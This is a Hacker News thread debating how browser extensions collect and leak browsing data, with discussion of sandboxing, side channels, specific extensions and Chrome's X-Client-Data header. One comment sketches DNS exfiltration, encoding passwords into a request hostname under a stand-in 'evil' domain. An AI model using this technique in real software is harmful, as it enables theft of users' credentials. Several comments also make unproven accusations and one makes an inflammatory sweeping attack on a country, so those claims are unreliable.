Massive spying on users of Google's Chrome shows new security weakness | Hacker News Reader

Massive spying on users of Google's Chrome shows new security weakness

reuters.com

409 pointscommoner252 comments

There is a web intelligence company in Israel that is known to buy popular browser extensions like “Web of Trust” and use them to exfiltrate browsing data (with tons of sensitive and personal information). They have been called out for this several times already and some of their extensions got removed from the store, they invariably turn back up again after a few weeks though (good connections to Google/Mozilla I guess). Firefox isn’t better than Chrome in that regard btw as it also turns a blind eye on this kind of data collection.

Extensions are ideal to exfiltrate data from browsers as they bypass all security measures and can literally see everything you do on every single page you visit. It still boggles my mind how you can call a browser secure and privacy-friendly (in the case of Firefox) and at the same time allow such blatant abuse for years and years. Me and other people have been pointing this out since at least 2016 and demanded better security controls for plugins / extensions but I’m getting really tired of it.

Re security measures: these features have sadly been put under "enterprise" stuff but they are there:

https://support.google.com/chrome/a/answer/9296680?hl=en

I wonder if there could be a community pseudo-enterprise that could eg have a reasonable whitelist of extensions...

edit: whoops, that was a windows-only guide despite the title, here are linux / mac links: https://support.google.com/chrome/a/answer/7517525#permissio... https://support.google.com/chrome/a/answer/7517624?hl=en&ref...

IMO, at least for linux, popular (open source) extensions should be part of the distribution.

Chrome Enterprise is free (it’s just a zipped file with GPOs and the MSI installer for Chrome). These policies should apply on the Chrome you already have.

Sure, but there's no reasonable UI, just meant to be configured by a company's IT grunts poking json config files or wielding regedit on windows.

Could browser extensions be ran in a sandbox, with read_access to the page, but only able to read from whitelisted registered and fixed URLs for updating configuration etc? So your blocking extension can download lists of things to block, or other config, but it can't exfiltrate any information about the user's browsing habits.

The only side channel I can then think of is using page rewriting or timing to communicate when the user browses to a page controlled by the extension owner. This would be something that there is at least a hope of spotting?

Of course, that's how it works in Safari.

In the same way that DNS requests can exfiltrate data, requesting URLs can also exfiltrate data. This is trivial to perform.

This is an apples to oranges comparison. DNS requests exfiltrate data such as IP and the domain you want to visit. Currently extensions can literally upload all your passwords if they wish to. Restricting them to be able to only GET whitelisted URLs (no query params or paramterized URLs) would cut down on pretty much 99.999% of possible data theft scenarios.

You can exfiltrate data using regular DNS requests, by hiding the data in the host part of the query. The authoritative name server for the domain can then extract out and re-assemble the data.

https://blogs.akamai.com/2017/09/introduction-to-dns-data-ex...

Extension can issue GET https://password1-abc_password2-defzzz-password3-zzzfed.evil... and DNS server run by evilhost.com will log that query.

There is a lot more to the DNS protocol and packet structure than you are aware.

DNS tunneling is a well-known exfiltration technique which can place data inside of DNS request packets. There are several methods of placing the data in the request packet. In such a case the DNS query might appear as a benign request for IBM.COM's ip address.

Why I specified "fixed URLs", to close that loophole

My fixed URLs are example.com/0 and example.com/1; I'm going to load them a lot, sometimes in different sequences.

This is really a fantastic, concise explanation of the pitfalls in OP's logic. Bravo.

Still: The bandwidth of the side channel can be dramatically reduced with a combination of a limit on the number of fixed addresses that can be requested and a limit on the rate of URL requests.

If only one fixed URL may be requested, then the only information revealed[1] is the fact of the request (1 bit) and the time of the request. If that URL may only be requested once per day, scheduled at a time of day chosen uniformly at random, then side channel bandwidth is limited to 1 bit / day, so it would take a good chunk of a year to exfiltrate a disk encryption key. If that URL may be requested only once per week, then it would take nearly five years to exfiltrate a 256-bit key.

Configuration data does not need to be updated so frequently, so this seems like a reasonable strategy.

[1]: (except for potential request metadata that you leak across the web anyway, e.g. IP address or browser user agent string)

> The bandwidth of the side channel can be dramatically reduced

In the late 90s I read a paper about using page faults to exfiltrate data to a low privilege process on a TCSEC B [1] system. A very low bandwidth, noisy side channel was created by using different amount of memory in a privileged process. The low privilege process received the data by initially allocating a large amount of memory and regularly walking across pages while timing each memory read to detect page faults. It was extremely noisy, but a standard error correction scheme and some clever tuning let them exfiltrate data at "a few hundred bits"/hour.

That might be plenty of bandwidth, if you're trying to send keys, names, ID numbers, etc. As usual, the utility of a very low bandwidth channel depends on your threat model.

> e.g. IP address or browser user agent string)

Or the variations in your OS's IP implementation that allow nmap to guess your OS[2]. Or the various "random" ways[3] different OS generate the TCP ISN (Initial Sequence Number).

Security is hard... ~sigh~

[1] https://en.wikipedia.org/wiki/Trusted_Computer_System_Evalua...

[2] https://nmap.org/book/man-os-detection.html

[3] https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html

So restrict it even further: extension manifest lists URLs, contents of which shall be made available to the extension, but keep the browser in control of when to fetch, with an enforced minimum cache lifetime.

Next up is a firestorm over broken extensions, followed by baseless conspiracy theories on how this is all ploy for Mozilla to ban adblockers..

Web Extensions caused lots of outcry, when it was mostly about making extensions async and better sandboxed.

EME caused similar outcry, when in fact it migrated us away from plugins riddled with security vulnerabilities (hint Flash). Today most DRM crap runs in a sandbox -- DRM still sucks, but it doesn't compromise my browser :)

I'm suspect, extensions will be sandboxed further, but this will take time.

The Web Extensions change in Firefox caused complaints mostly because it broke so much useful functionality, much of which has never been replaced. In quite a few cases that was because of the new security model, but also because the new API simply wasn't powerful enough to do the job properly either.

Or just don't let it send data. Most plugins have no need to do that.

It's a good idea, but wouldn't be enough to secure something like uBlock origin.

Elements filtered by uBlock origin are typically not even loaded over the net. That means that an outside observer can see what uBlock origin does.

However, you could envision a variant of uBlock origin that still loads everything, and only does cosmetic blocking.

But eg an extensions that is supposed to protect your privacy will have to have an influence on your browser's network output.

It's a similar idea I shared with Moz people last year when asked about how privacy concerns raised in manifest v3 could be addressed, I quote myself:

===

> The host permission in current extension framework does not distinguish between accessing all the data and connecting to any remote server.

> The key issue I see is that it also allows uBO to connect to any remote server. I think it would help a lot to have a _separate_ permission for remote server access, since this is the key privacy issue here: user data leaving the browser to be collected by a remote server.

> So what about a new permission specifically dedicated to specify where an extension is allowed to connect? Without this permission, an extension wouldn't be allowed to connect to a remote server, i.e. unable to leak user data.

===

As a mental framework, I consider the ability to see the URL of all requests or all the DOM to be a read operation, while extensions making requests to remote server (directly or indirectly) is a write operation (to the wide internet). The latter is where the real privacy concerns are, and this is what should be tackled in some manner. I don't see manifest v3 addressing this[1].

* * *

[1] https://www.eff.org/deeplinks/2019/07/googles-plans-chrome-e...

Who? - please name names

Cellebrite and NSO Group - for starters.

Cellebrite and NSO are unrelated and are offensive cyber companies.

Companies like SimilarWeb and Alexa (not Israeli) do the thing OP describes.

The only trustworthy extensions are uBlock Origin and EFF's Privacy Badger. Everything else is best viewed as potential malware, no different than random downloadable executables.

Honestly, uBlock Origin and Privacy Badger are so important at this point they should just become part of the browser itself. They're already in a league of their own.

I trust both of these extensions far more as extensions than I would if they were part of Chrome.

and that is why they will eventually be removed one way or another imo.

AFAIK Chrome will change ad blocking API and uBlock Origin won't follow it. So switch to Firefox.

These API changes are actually perfectly reasonable. The new API lets extensions tell the browser what to do to the page in a declarative manner. This eliminates the need to pass private user data to the extension code and reduces the potential for abuse. This is a massive improvement compared to just letting random extensions see everything on the page.

uBlock Origin just happens to be so important and trusted by the community that it shouldn't be subjected to these restrictions. It's a special case.

What makes uBlock Origin a trustworthy extension ? because it is open-source ?

the number of eyes looking at it all the time.

How many people are looking at the code ? The github commits show only one active contributor.

I use uBlock Origin myself but I sometimes question the faith we place on open-source. We assume someone else is looking at the code.

It would be awesome if there was a volunteer financed code review group to review popular open source projects. I think I’m not the only one who would happily donate money to such a group for code reviews for various OSS projects. Initial code reviews would require a lot of effort, unless somehow automated, but after that it would be fairly easy to monitor and verify updates and changes to the code.

I wonder if EFF or somebody could issue a "verified" badge that apps could apply for, with a small fee to finance the devs doing the audits?

I love this idea and could get behind contributing.

A prerequisite of that type of badge that I really wish existed is a standardized, interoperable protocol for curation. Instead of trying to solve the problem of malicious software with a walled garden app store, anyone should be able to publish their own curated list of software (or any type of project?). The core component is a crypto-signed statement like:

    { "curator": {
         name="Alice",
         pubkey="...",
         url="..."
      },
      "artifact": {
         type="software",
         name="Bob's App",
         version="1.2.3",
         published_file="bobapp-1.2.3.zip",
         published_file_sha256="...",
         published_file_url="..."
      },
      "statements": [
         { "type": "member_of_collection",
           "name": "Recommended Apps" },
         { "type": "attestation",
           "name": "Passed Audit FOO",
           ...audit info... }
       ]
    }

Publish lists of these (maybe RSS-ish style?), with sort of browsable/searchable/app-store-ish UI.

A key feature is verification. A user should be able to easily inspect the known "curator statements" for an app for the curators the subscribe to, and be able to run a "git fsck"-style validation that proves "this app really is the version that: passed the EFF's 'No Tracking' audit, is on reviewer Carol's 'Recommended' list, was rated "Teen" by the ESRB, and is on my friend Dave's 'Cool stuff you should try' list.

With such a system, anyone can perform an audit, and people can make their own decisions about what they want to trust.

Would this verification feature be similar to how keybase works? You post a "fingerprint" message to a host of public web sites (ie. Twitter, Facebook, GitHub Gist, etc.) that anyone use to verify your identity. The idea is that even if someone tried to impersonate you, they would have to take over all of your accounts in order to do so.

I like this idea and think it would be a great addition to the development world.

Would be good training for apprentices too. Reading code is probably one of the best ways to learn. Granted, it could include a sophisticated and obfuscated backdoor, but I think it would still be caught.

I wouldn't be so sure that it's an inevitability that things would be caught.

The "underhanded C contest" [1] is a good example of this and something I like to point people to. From their about page:

>The Underhanded C Contest is an annual contest to write innocent-looking C code implementing malicious behavior. In this contest you must write C code that is as readable, clear, innocent and straightforward as possible, and yet it must fail to perform at its apparent function. To be more specific, it should perform some specific underhanded task that will not be detected by examining the source code.

If you go look around the hall of fame on that site, or just take a look at the contest winners, it's absolutely insane how subtle some of those exploits are. And shockingly (to me anyway) many of the exploits don't require C or use some quirk of C, they would work in many different languages, the first contest winner is a perfect example of that [2].

I can honestly say that for some of them, even if you told me there was an exploit in the code, I wouldn't be able to find them on my own.

And the scariest part is that almost all of the submissions to that contest have plausible deniability. They look like innocent bugs, typos, or small logic mistakes. Some even layer multiple small subtle changes which each on their own are completely fine but when all run together reveal big exploits.

[1] http://underhanded-c.org/

[2] http://underhanded-c.org/_page_id_14.html

Ok, those might indeed not be found. Only fair that they could take something from my wallet then.

That is an awesome site, thanks. Sadly the contest seems to have stopped in 2014.

Maybe on top of existing practice? Debian packages some addons [1], I don't know do they perform audit [2] on them.

[1] https://packages.debian.org/search?suite=default&section=all...

[2] https://www.debian.org/security/audit/auditing

For me it's honest author. I don't trust code, I trust people.

I used to trust the authors of unlock, adblock, adblock origins. But they all sold out. Why do you think this time it's different?

I can't be sure about that, of course. It works for now and that's all that matters. Someone might fork it if that would happen.

Gorhill isn't doing it for money, he's doing it because he believes in an internet where "user agent" means something. He engages in numerous ways with the community. You're sort of asking "How can I trust Gorhill?", and I guess my answer is "How can you trust _anyone_?" I trust Gorhill with this task more than I trust Mozilla, Google, Brave, or any extension put out by a company. Whether that level of trust exceeds a particular individual's thershold is a personal choice, naturally. To echo the sentiment above, I trust a person, but not code, and not companies. This approach is certainly not bulletproof, but it's the best I've found.

I feel it dreadful to think uBlock Origin might not be trustworthy after all.

But I can’t find any other reason why I don’t think that that isn’t the case.

I monitor the issue tracker and explore the source code from time to time. The developer posts on HN and seems to be committed to the project and everything it stands for.

I'm not sure if builds are reproducible though. I don't think the author would allow the extensions to be hijacked by malicious actors but it'd still be nice to be able to verify a packaged extension was built from a given git commit.

Reproducible builds for extensions is a good idea that I hadn't considered before.

Most browser extensions these days are just some JS zipped up with some metadata and maybe a few assets, right?

There might be trouble with minified JS, but I'd assume most optimizers/minifiers are either deterministic or could be configured that way.

There could always be more trust. But if you compare it to browsers from ad companies...

For those who like uBlock origin, you owe it to yourself to also checkout uMatrix. I use both.

Why not just use ublock origin in medium mode[0] (or hard mode[1] if you're so inclined)?

[0]https://github.com/gorhill/uBlock/wiki/Blocking-mode:-medium...

[1]https://github.com/gorhill/uBlock/wiki/Blocking-mode:-hard-m...

I find it easier to understand what application wants looking at numbers. And to toggle on 1st party cookies. My setup in between hard mode and nightmare:

    * * * block
    * * frame block
    * 1st-party css allow
    * 1st-party frame allow
    * 1st-party image allow

I use both, and it's amazing what origin night let through that i can granularly stop with matrix.

> The only trustworthy extensions are uBlock Origin and EFF's Privacy Badger. Everything else is best viewed as potential malware, no different than random downloadable executables.

What about Ghostery?

I think it's "safe". They are not going to put a malware on their extension as you installing the extension is how they make money. But as the company has a business model around collecting your browsing data and being a gatekeeper between you and advertiser it really depends what you're trying to protect against.

They weren't always cool: https://www.businessinsider.com/evidon-sells-ghostery-data-t...

As far as I know this changed later on, but still.

There are often other extensions that we find too precious to delete them, however we need them only at specific occasions. For those, I came up with a “meta-extension” to easily disable or enable them:

https://chrome.google.com/webstore/detail/extension-manager/...

This is great! But it is minified and there is no link to source. Why?

Also HTTPS Everywhere and, in Firefox, NoScript.

I stopped considering NoScript something I can trust when this happened[1]. Many years have passed, the Tor project trusts it but I'm still cautious.

[1] http://www.schillmania.com/content/entries/2009/adblock-vs-n...

I love that my it departement has turned off password saving, citing security concerns. But there is no problem in downloading any and all extensions.

It's extremely annoying that Israel the country has found a way to exploit the shady shit they do as a country, like these disgusting security exploits they export all over the world , and the support the Jewish global community got from other countries after the genocide of world war two into turning any criticism of the country into anti-Semitism.

As an American I feel Israel is only an ally like Saudi Arabia is an ally in that it's a country doing terrible shit I disagree with that dislikes other countries politicians I dislike hate.

As a German I feel the US is only an ally like Saudi Arabia is an ally in that it's a country doing terrible shit I disagree with that dislikes other countries politicians I dislike hate.

(I do not really think the US - or Isreal for that matter - is like Saudi Arabia AT ALL, Saudi Arabia is a horrific place and that comparison is pure madness by OP - but the "doing terrible shit" part is very true.)

I feel like this argument is the same as ‘how third party apps are allowed in windows and macOS by Microsoft and Apple’

To me there has always been a trusted part of computing which is audited to some extent and marked as trusted. Browser extensions work the same way as software on an operating system. If they blocked all extensions outside trusted ones they would be criticised as well. However the auditing process is very controversial and could become like the Apple’s App Store where the apps/extensions maybe blocked for reasons other than just security to make it anti competitive which is certainly something possible with chrome

In 2016 we proved that the owner of "Web of Trust" was exfiltrating and illegally selling clickstream data to anyone who would pay. For Germany alone the data contained the browing information of more than three million people, often revealing highly intimate and sensitive details about their lives. Still, Chrome and Firefox reinstated the extension after less than four weeks, and to this day it keeps collecting clickstream data. It does so using dark patterns and I'm sure most of the users are not aware that a free extension they use to increase their safety while surfing the web surreptitiously sells their browsing data.

If the main selling point of your browser or OS is that you protect the privacy of your users you simply can't act like that, because most users are not aware of the data collection that is happening via these extensions.

With mobile apps we're in a similar situation, companies like X-Mode exfiltrate and sell location data via apps that claim to protect your privacy. Desktop software: Same story. Anti-virus software that is supposed to protect you actually exfiltrates personal data from your computer.

So yeah if you build an open platform there will be such abuse, but if you position yourself as a champion for privacy you simply can't allow that (or at least you should try to make it more difficult).

There are simple counter-measures that browser vendors could employ: Showing users how much data a given extension sends to a backend and ideally making that data transparent would be enough to stop most of these practices, because people would then realize that their free screenshot app somehow sends every single URL they open to a backend service. Right now this can happen entirely without the knowledge of the user. You can't control what you cannot see and understand.

> Showing users how much data a given extension sends to a backend and ideally making that data transparent would be enough to stop most of these practices

Exactly! I find it abhorrent that not even Firefox has something straightforward like that as a “first-class” feature. Most of the extensions I use shouldn't need to communicate with any server at all to begin with, so having to just trust the author's words or manually audit the code on every update (or stop them altogether) and maybe fork the project (if that's even possible)... Doesn't make sense.

The one thing I'm aware of that these extensions could do to sidestep such a mechanism is to inject scripts on pages that then exfiltrate your data, but injection could also be blocked, and as a last resort I trust uMatrix would have me covered ;)

I am outsider interested in this topic, it would be great if you provided some links. I've found Web of Trust addon [1] and its Privacy Policy [2]:

> Automatically Collected Information

> Internet Protocol Address (trimmed to permanently remove specific location information other than country, city & postal code); device type; operating system and browser; Search engine results page (keyword, order/index of results, link of result, title, description, ads); web pages visited and time stamp of the visit; display ads; and WOT user ID.

That is awful [3] but that's what almost every web page wants to do. Privacy Respecting browser should not run javascript, ignore cookie, and block non 1st party resources. That's what my browser does. But this is not where consensus lies.

As I understand Mozilla allows to collect information if it is defined in Privacy Policy. It would be great to have badge "Collects Information".

[1] https://addons.mozilla.org/en-US/firefox/addon/wot-safe-brow...

[2] https://www.mywot.com/privacy

[3] https://www.pcmag.com/news/web-of-trust-browser-extension-ca...

Here's a talk from 33C3: https://media.ccc.de/v/33c3-8034-build_your_own_nsa

The data under "web pages visited and time stamp of the visit" is your clickstream data (you can check which data the extension sends using the network tab in the extension developer tools, though some extensions go to great lenghts to obfuscate it).

Danke schön. Schade, aber mein Deutsch ist nicht so gut.

Most of the users live in Privacy Nightmare and accept it. They also run closed source OS and applications. The truth is privacy has a cost - monetary (Apple ecosystem) or time/experience (Linux etc).

Apple can hire maintainers, Linux users can become maintainers. Those who live in free as beer land has free as beer support.

There's an English translation available btw!

The initial part perhaps falls into the widely accepted consensus of monitoring usage, but an extension collecting all"web pages visited and time stamp of the visit" crosses the boundary to totally unacceptable.

Keep in mind that almost everything that is free is because you will be its product.

I think the difference here is that browser extensions are distributed through a package manager provided by the browser vendor. People expect the vendor to perform some sort of security validation on apps that it is effectively publishing. You can't reasonably have the same expectation for binaries downloaded from a website.

Might as well call out this company. it is Similarweb.

These bought Stylish [1]. Privacy Policy is extremely unclear [2]:

> We do not want ...

does not mean we do not do

> any data collected from you simply by your use of our product will never be used to figure out who you are or to send you targeted ads, and will not be shared with any other parties for those purposes.

does not mean impossible, yes, that's was not on purpose (like facebook cambridge analytica)

> Standard web server log information (i.e., page views)...

> ... browser type, operating system, device model name, device screen size, time and date. We further collect IP Address (trimmed for anonymization).

I can't process this.

Compared with Stylus [3]:

> Privacy Policy

> Unlike other similar extensions, we don't find you to be all that interesting. Your questionable browsing history should remain between you and the NSA. Stylus collects nothing. Period.

[1] https://robertheaton.com/2018/07/02/stylish-browser-extensio...

[2] https://userstyles.org/login/policy

[3] https://chrome.google.com/webstore/detail/stylus/clngdbkpkpe...

Is there a list of extensions that have been caught exfiltrating data?

I look at the 20 I've got installed and wonder which are using the "Access to every website" permission for their own ends.

As a maintainer of an extension with said permission I think it's important to acknowledge some extensions do need said permission.

For example at the extension I help maintain (Testim Editor) we literally do test automation which requires elevated permissions.

Caught extensions would be automatically disabled, right?

Check Privacy Policy, if none exists it is either clear or non conformant. Extensions which states they collect data are not removed - for example Stylish, Web of Trust.

I hope we don't get even more locked down permissions for Web Extensions. I would prefer that the Chrome Web Store manually vets every extension and update. Maybe start charging big $$$ like Apple does. Most extensions will disappear from the stores, but they won't disappear from all existence (as changing the permissions model would effectively do). Power users who could vet the extension themselves can install extensions manually (maybe even behind a command line switch to futher filter out computer illiterates). That's a good compromise.

I hope we don't get access controlled software from large developers. Mobile OS sway me pretty quickly to say 'no' to that. Maybe supply users with curated software, but I think the store model failed spectacularly. They contain more crap than a malicious website could ever hope to supply.

why would you want to have an extension able to do network calls anyway? my opinion extensions should not be allowed to do so.

Some reasons:

- Ad blocking - Reporting analytics to home base for product feedback - Mocking network requests to make certain pages load faster. - Performance analytics for the page's network (like the devtools).

Please remember that some extensions are not free, we companies like Microsoft paying a substantial amount of money for the extension we develop (Testim Editor) for example.

For what it's worth both Google and Mozilla are paying customers of competitive intelligence from said companies.

It's super easy to blame some semi-known Israeli company where in fact it's a way for companies like Google to bypass their own security policy and restrictions.

- Google does not collect all website data

- Google creates an extension model that allows a third-party to collect all analytics data

- Google buys said analytics data and has access to it.

It's done in a somewhat semi-regulated way, but the whole thing is a regulation bypass companies like Google do that will (hopefully) eventually be plugged.

This is similar to the toolbar and installer industry of 5-10 years ago.

>Extensions are ideal to exfiltrate data from browsers as they bypass all security measures and can literally see everything you do on every single page you visit.

That's not generally true. It depends on the permissions. If you grant an extension permission to access every page then yes it can do that. That's not bypassing all security measures.

These are strong words.

Mozilla is miles ahead of chrome with recommended extensions [1]:

> Recommended extensions undergo full code review by staff security experts to provide a strong additional security check.

It has a list of blocked addons [2]. And I believe that is Chrome who turned addons into Wild West, Mozilla had a long review process [3].

[1] https://blog.mozilla.org/firefox/firefox-recommended-extensi...

[2] https://blocked.cdn.mozilla.net/

[3] https://blog.mozilla.org/addons/2010/02/15/the-add-on-review...

It's still so easy in Firefox to install add-ons that spy on your entire browser session and send tons of telemetry data to a backend (Ghostery is a popular example) while the user has no clue that any kind of data transfer even happens. Such behavior shouldn't be something that can be turned on with two clicks.

Ghostery is even a recommended Addon on AMO [1].

What would really be practical were some kind of extension analyzer/profiler that runs newly installed addons in a sandbox and displays attempted connections and payloads. Or a mode where connections need to be whitelisted, to limit the impact of silent addon takeovers.

Too many times I find myself having to download, unpack, and skim through an addon's source to make sure it's not doing anything malicious under the hood.

[1] https://addons.mozilla.org/en-US/firefox/addon/ghostery/

They state it in plain site. Sadly it is not advertised clearly.

Yes, that would be good. I would love to hear that someone I trust checked latest version. If enough people joined we can make distribution.

And, hey! It is MPL-2 [1], bad defaults can be patched.

[1] https://github.com/ghostery/ghostery-extension

> Human Web

> ... turned on by default

> Data Collection: In order for Human Web to function we automatically collect non-private URLs, search queries along with search engine results pages, suspicious URLs that could potentially be phishing websites, information related to safe and unsafe trackers, and information related to the prevalence and performance of Trackers.

So opt out data collection, I thought better of Recommend Extensions. They really should use leverage to make safe defaults and forbid dark patters.

[1] https://addons.mozilla.org/en-US/firefox/addon/ghostery/priv...

>Ghostery is a popular example

I'm a little confused. I used to use ghostery (don't anymore), but there was always an option to have them not collect data. This is even a recommended app! I went to their privacy policy to check

> II. Basis to Collect and Use Personal Data There is no obligation on your part to provide your Personal Data. However, if you do, we have a legitimate interest to collect and use it, namely so we can provide products or services, or complete a transaction with you.

> III. Notion of Personal Data Personal Data means any information concerning the personal or material circumstances of an identified or identifiable individual such as name and age. Non-personal data are all data that cannot be used to identify an individual, such as statistics about usage of a website.

1. "Recommended" extensions are a subset of all extensions, so to narrow the comparison from "Extensions" to "A limited subset" feels dishonest. Not all Firefox extensions are Recommended.

2. Firefox took years and years to lock down extensions like Chrome, and people were legitimately upset that they turned extensions into basically privileged webpages in the name of security. They used to be more like software. It wasn't until what 2017 or 2018 that Firefox truly took security seriously and stopped letting extensions run application code.

3. Chrome didn't turn extensions into the 'wild west'! For the record, Firefox 3.0 had "Add-ons" in 2008 a few months before Google released Chrome 1.0!

1. I just said it is good if at least subset can be trusted. It would be nice to have such feature in Chrome.

2. Sorry, could you please make your point clear (edit)? Firefox third party extensions used to access internal constructs. I think most of what is Firefox on top of Gecko is privileged extensions.

3. Yes, Firefox had addons with review process.

2. I'm talking about the switch to WebExtensions, https://wiki.mozilla.org/WebExtensions/FAQ, which every major browser followed Chrome in doing, which was largely done for security reasons

3. Firefox does not manually review every extension, they perform some cursory virus/malware scans, same as Google. I think you're really overplaying the idea that Firefox has some manual review process ensuring only quality and safe extensions are uploaded. The best way to demonstrate this is to point out that Firefox must frequently ban released extensions -- extensions which passed these so called reviews.

2. My understanding that nothing has changed much. Mozilla forbidden internals access to 3rd party developers, mostly driven to ease refactoring - completing the drop of non Firefox browsers started in 2008 [1]. Those who need (and were allowed) these API (like Developer tools) moved in tree. Others have to use new API which for compatibility reasons looks like Chrome.

3. Today looks like every browsers gallery dropped security. I was talking about days before Chrome and how things changed. I gave a link, there were just several blocked addons in 2008-2010. Something changed and I remember publishing process was different in Firefox and Chrome. Search gives me no complains about long review in 2010 for Chrome.

I am not Mozilla funboy. I do not think that Mozilla actions is enough, Chrome had good things too - reviews without "I like it" and "Works for me". Everyone deploys automatic scan. Manual review is better than no manual review. How many extensions from Recommend list were blocked?

We have to find a way to reduce pressure to buy/sell addon for use as spyware. Someone has to think twice before trying to buy Recommended addon. Or looking on a list of blocked addons. Or maybe someday "Collects data" badge. Today Mozilla is ahead, just copy and move on.

[1] Mike Pinkerton on Mozilla and Camino https://www.youtube.com/watch?v=ttiZevbtvf0

My nanny won't let me install extensions. She keeps me snug and secure in her warm and loving arms.

Thank you for taking the time to point this out to people who may not have known about these disgusting practices.

I wonder if these extensions are so hard to spot because spying is a core feature of Google Chrome, and most top extensions do this.

For example, the extraordinarily popular extension Honey phones home about your purchases, shopping habits and other data without adequately disclosing that fact.

It's hard to see why Google would care when Chrome was always a trojan horse to co-opt web standards for their own purposes and to prevent measures taken against invasive tracking and data collection in the first place.

Tracking is built directly into Chrome's source. Chrome will send "X-Client-Data" headers with a low-entropy identifier on every request to DoubleClick, an advertising agency owned by Google. DoubleClick's hostname is explicitly whitelisted in Chrome source code.

Chrome was always meant for massive spying, and any "crackdowns" are only a reaction to media pressure.

Here are more details about 'X-Client-Data'. I'm not saying it's necessarily a good practice (and maybe it's something they should stop doing), but I wouldn't call it "spying". It's analytics, used to test new Chrome features.

https://9to5google.com/2020/02/06/google-chrome-x-client-dat...

Why is DoubleClick in the whitelist?

Presumably, since, as the list you're referring to mentions, it's a Google owned property, and accessed by a lot of people, even those who don't usually access other google properties, which makes it really useful for analytics on a broader selection of sites/connections.

Like, the function you're referring to, `IsGoogleAssociatedDomainUrl`, seems to only be used to log some information about https. Or at least that's all I found from searching for it. So it's even less innocuous, the use appears to be "we'd like to know if our sites are broken under HTTPS", vs. just HTTPS being broken in general.

[I work at Google, but don't work anywhere near chrome, and I know basically nothing about it]

Edit: You were referring to a different spot (experiments), where what I originally said applies. Having more analytics is really useful when trying to diagnose problems.

This would make sense if they needed to collect that information organically, but there's already requests made to Google as soon as Chrome launches. So, no, it's not required for analytics. [1]

That leaves... ad tracking. Chrome will send a tracking ID to DoubleClick with every request to that host. Doesn't this prove that Chrome is a trojan horse used for ads and tracking purposes?

[1] https://twitter.com/jonathansampson/status/11654932064417792...

> This would make sense if they needed to collect that information organically, but there's already requests made to Google as soon as Chrome launches. So, no, it's not required for analytics.

Wait what? You don't think there's analytics that can be done about the browser itself? Let's say chrome ships a new experiment, that when enabled on certain devices uses 100% of the CPU until chrome is closed. Analytics sent on browser startup would provide insight into that.

If you're asking why they need both:

having analytics in the context of a given page is also useful. If you can see that different experiments in chrome cause different performance impacts when loading the same page, that's also useful data that you can't get from analytics sent on startup. Nor could you centralize the logging of that information, as it would essentially be sending your browser history to Google all in one request, which is even easier to track.

> Doesn't this prove that Chrome is a trojan horse used for ads and tracking purposes?

Bluntly, no.

Let me put it another way. Do you think the average user knows of or would approve of Google Chrome itself sending information to an advertising network that could be used to track their behaviors and identity?

Do you think this "feature" is adequately disclosed to customers downloading Google Chrome, that it includes a DoubleClick tracking backdoor that no other ad network or website receives.

Given that

> that it includes a DoubleClick tracking backdoor that no other ad network or website receives.

is false, yes, I think the disclosures are reasonable. Your standard of disclosure is that companies need to disclose things that they aren't actually doing. That's ridiculous.

How do you know they're not using it for tracking, beyond an ambiguous PR statement that actually doesn't even say they aren't using it for tracking? What makes you sure of that?

There are literally billions of dollars on the line.

Does Safari or Firefox implement a similar tracking header? If it's so needed for experiments, why is Chrome literally the only browser sending this data to their advertising network (or any site)?

If Google were using it for tracking purposes, they'd never confirm that unless forced to. Hence the ambiguous PR statement.

> Hence the ambiguous PR statement.

There's nothing ambiguous about "is not used to identify or track individual users.". Any form of personalized ad tracking would require tracking individual users, by definition. So there's your answer. Your attempts to create weaseling where there isn't any, so that you can continue to exclaim about the potentials for tracking don't actually change the ambiguity of the statement.

> How do you know they're not using it for tracking

Well I mentioned upthread I work at Google, right? Let me ask a question:

Google has historically been notorious for not being able to keep things secret, especially controversial things. How is it that Google is managing to keep this major component of tracking, that has to touch multiple major products and involve various teams a secret?

If Google can't keep things quiet, where can I find a rough list of factors DoubleClick uses in order to track users? Has any of those factors leaked in the past? Would anyone on the ad team at Google jeopardize their $350k per year to leak unethical behavior in that division?

There's plenty ambiguous about that statement. Firstly, it doesn't cover past or future. Room for weaseling there. Secondly, it specifically says "track individual users", rather than include devices or just say "tracking" generally. Could they be tracking multiple users with the data point of "rarely updates browser"? According to that statement, they didn't rule it out.

That statement explicitly does not say they are not using that information to track devices or Chrome installs.

In fact, it doesn't even say it isn't a factor in ad targeting algorithms.

Given it was written by Google's highly skilled PR team, and not a developer, I'm inclined to believe they wrote this ambiguously for a reason. Google does not have a good track record with the truth or community goodwill (they stabbed Firefox in the back).

It's an advertising company making billions of dollars specifically from the use of tracking data. You're asking me to trust that said advertising company isn't using a tracking ID for tracking purposes when said ID is sent directly to their advertising domains.

> If Google can't keep things quiet, where can I find a rough list of factors DoubleClick uses in order to track users?

Do you mean like, categories into which it divides users (age, gender, interest), in which case a reasonable answer is https://adssettings.google.com/ or do you mean what request attributes it uses to make these determinations initially and tie them to particular users? In which case the answer is primarily cookies: https://policies.google.com/technologies/types?hl=en-US.

You're asking me to prove a negative, and you're starting from the assumption that Google must be lying.

> In fact, it doesn't even say it isn't a factor in ad targeting algorithms.

How can something be a factor in ad targeting without being used to target individuals?

>How can something be a factor in ad targeting without being used to target individuals?

Really weird question. Easy. The tracking ID sent to DoubleClick could be used to target groups of people, such as "people who rarely update their browser". Such heuristics can indicate age, tech knowledge, etc.

No other browser is doing this. Why does Google need to send such tracking information to DoubleClick? You cannot justify it without also explaining why Safari and Firefox don't need this.

Coupled with Google's other self-dealing behavior such as refusing to crackdown on egregious third-party cookies like Safari and Firefox, then this is starting to look very suspicious.

For me personally, the fact this data is even being sent is the smoking gun. Shifting the goalposts to "well we don't abuse it" is classic gaslighting. You don't need to send tracking information to an advertising network.

Why should I trust an advertising network with a hard-coded, impossible to disable, opaque tracking backdoor in the first place?

Google does not disclose it does this. Google provides no way to opt out. Google has not adequately explained why it needs to send it to DoubleClick, given Google Analytics. Google snuck this into the Chromium source code hoping nobody noticed.

> The tracking ID sent to DoubleClick could be used to target groups of people, such as "people who rarely update their browser".

The hash sent to the various google websites when you make requests to them is determined by chrome/chromium on the client side, at approximately installation time. So this would require the RNG thats sitting in a publicly auditable source repository to be flawed and abusable in such a way that chrome could bias the hash based on various system attributes that we're just going to assume for the sake of argument are correlated with various ad demographics.

> Shifting the goalposts to "well we don't abuse it" is classic gaslighting.

I never shifted the goalposts. You just did. Please don't accuse me of gaslighting you when you're the one changing your argument.

> Why should I trust an advertising network with a hard-coded, impossible to disable, opaque tracking backdoor in the first place?

